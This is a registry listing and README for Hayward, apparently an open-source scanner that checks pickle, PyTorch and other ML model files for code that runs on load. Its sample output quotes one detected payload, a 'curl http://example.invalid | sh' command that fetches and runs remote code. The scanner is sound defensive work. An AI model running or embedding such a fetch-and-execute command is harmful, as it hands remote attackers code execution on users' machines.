Hayward

io.github.hedgerow-dev由 GitHub 帳號 hedgerow-dev 發布v1.4.1更新於 Oct 30, 2026

Checks ML model files (pickle, PyTorch, joblib, NumPy, GGUF, ONNX) for code that runs on load.

已驗證STDIO僅桌面安全與監控AI 與機器學習

概覽

AI 產生的概覽

靜態安全掃描器,讓助理在載入模型前檢查 ML 模型檔案中是否含有載入即執行的程式碼。

可以做什麼
  • 掃描模型檔案與目錄,找出載入時會執行的不安全可呼叫物件,涵蓋 pickle 系列、張量、圖格式與儲存庫設定
  • 依嚴重等級回報發現,並說明覆蓋缺口,支援 JSON 與 HTML 輸出
  • 依傳入參數而非名稱判斷未知可呼叫物件
  • 可作為編碼代理在載入模型前呼叫的工具,也能透過命令列、圖形介面、Python API、pre-commit 鉤子與 CI 使用
適用情境
適合從公開模型庫或不可信來源取得檢查點、希望在載入前先檢查的情境,也適用於 CI 流程或不允許連外的受監管環境。
執行需求
以 Python 套件形式透過 stdio 在使用者本機執行(需 Python 3.10 以上),安裝 mcp 附加元件後以 uvx 或 hayward mcp 指令啟動。未宣告驗證、環境變數或標頭;掃描器本身不發出網路請求。
安裝前請注意
掃描結果乾淨只代表未辨識出危險內容,並不表示模型安全;完全不符合已知格式的檔案不會回報任何內容,覆蓋範圍的限制會以發現項目說明。預設載入防護只是提高門檻,並非沙箱。所引用的準確率數據為自行量測,無法獨立重現。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Hayward,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

Hayward

Hayward is a static security scanner for machine-learning model files. It scans PyTorch, pickle, joblib, GGUF, SafeTensors, ONNX and Keras files, plus Hugging Face config.json, and tells you whether loading a checkpoint would run code, before you load it.

[License MIT] [Python 3.10+] [Rules 47] [Dependencies 1] [Scan makes no outbound calls] [GitHub Marketplace]

bash
pip install haywardhayward scan ./models
CRITICAL MFV-PICKLE-001  checkpoints/model.pt         Pickle file references unsafe callable(s) that grant code/command         execution on load: posix.system('curl http://example.invalid | sh').
1 finding(s): 1 critical

Or try it in your browser. Same scanner, compiled to WebAssembly. Drop a checkpoint on the page and it stays on your machine.

Guard the load itself

A scan checks a file before you load it. The guard checks it while you do:

python
import hayward.guard  # pickle.load, joblib.load, numpy.load and torch.load now refuse dangerous calls

It also stops from_pretrained(..., trust_remote_code=True) from running a repo's own Python code, unless you name the repo with hayward.guard.install(remote_code=["org/name"]).

Each load is scanned first, then every function the file asks for is checked before it runs. The default mode raises the bar but is not a sandbox. For files you do not trust, hayward.guard.install(strict=True) refuses anything not on the known-safe list. With hayward.guard.install(verified="strict"), a file loads only if the signed verdict log vouches for its exact bytes. The usage guide lists what it does not cover.

Let your coding agent check first

bash
pip install "hayward[mcp]"claude mcp add hayward -- hayward mcp

[Claude Code calls Hayward over MCP, refuses a booby-trapped checkpoint and clears a normal one]

The problem

torch.load, joblib.load and numpy.load(allow_pickle=True) execute code from the file they read. That is not a bug, it is what pickle does.

The file is named pytorch_model.bin, and the .bin is doing a lot of work in that sentence. It is a program. Loading it is running it, on your laptop, with your credentials, as you.

Who it is for

Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.

What makes it different

It stays quiet. A gate that cries wolf gets switched off, so it is built to report real models cleanly and reserve the INFO tier for content it could not verify. Any figures we quote are self-measured and not independently reproducible; Accuracy sets out what it does and does not support, and the harness runs it against your own corpus.

It tells you when it could not look. A container it could not fully walk, or content it could not verify, gets an explicit coverage finding rather than a clean verdict, and a parse error never erases what was already found. Attackers hide payloads behind deliberate parse errors, so a payload followed by junk still scans as critical. One honest limit: bytes that match no model format at all, from the first byte, report nothing.

It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.

It installs anywhere. One dependency, no model framework, no native extensions, and hayward scan makes no network calls. Python 3.10 and up.

It fits a build. Documented exit codes, JSON output, a threshold you set.

What it scans

Formats
Pickle, and everything that wraps itPyTorch (zip, legacy and .ptl mobile), joblib, NumPy .npy / .npz, TorchServe .mar, NVIDIA NeMo, skops
Tensor containersSafeTensors, GGUF, TFLite
Graph formatsONNX, TensorFlow SavedModel, Keras (H5 and .keras), PMML
Repo configHuggingFace config.json / tokenizer_config.json (auto_map, trust_remote_code, and Jinja chat_template injection)

26 extensions in total. Format comes from magic bytes, so a payload renamed weights.safetensors, or weights.dat, or given no extension at all, does not walk past on the strength of its name. A directory scan still finds its candidates by extension first, since sniffing a whole tree means reading it: coverage states that limit.

Ways to run it

bash
hayward scan ./models                          # command linehayward scan ./models -f html -o report.html   # shareable reporthayward-gui                                    # desktop window
python
from hayward import ModelFileScannerfindings = ModelFileScanner().scan_directory(Path("models"))

Or as the load guard, a pre-commit hook, or an MCP server a coding agent calls before it loads a model.

And in CI, as a GitHub Action that fails the build and uploads SARIF to code scanning:

yaml
- uses: hedgerow-dev/hayward@v1  with:    path: models    fail-on: high

See the GitHub Action guide, or the listing on GitHub Marketplace.

What a clean result means

That Hayward read the files and recognised nothing dangerous in them. Not that the model is safe. It is a smoke alarm, not a survey of the building, and coverage is the page where it owns up to the rooms it could not get into.

Documentation

  • Usage: CLI reference, exit codes, CI, pre-commit, the GUI, the MCP server, the Python API, the load guard
  • Rules: all 47 rules with severities and CWE mappings
  • Coverage: what it does when it cannot read a file, and why that is a finding
  • How it works: how it reads pickle without running it, and how unknown callables are judged by their arguments
  • GitHub Action: run the scan in CI and upload SARIF to code scanning
  • Reproducible builds: the Docker image and the browser-demo build pipeline
  • Accuracy: measured results, the caveats, and where it loses

Contributing

The most useful contribution is a file Hayward gets wrong. False alarms count just as much as misses. A scanner nobody trusts is a scanner nobody runs, and then it may as well not exist.

bash
git clone https://github.com/hedgerow-dev/haywardcd hayward && pip install -e ".[dev]" && pytest

Security

Report vulnerabilities in Hayward to [email protected] rather than in an issue. Input that crashes the scanner counts: under a CI gate, a crash is indistinguishable from a scan that never ran.

Licence

MIT. See LICENSE and NOTICE.

A hayward was the parish officer who walked the hedges, checked the gaps and impounded whatever had got through.

來源:README.md,提交 94ef325

工具

0
SourceWeft 曾在隔離沙箱中以無憑證方式啟動該軟體包一次,以列出其工具,但未能完成:伺服器未能啟動。

版本歷史

1
  1. v1.4.1最新Oct 23, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分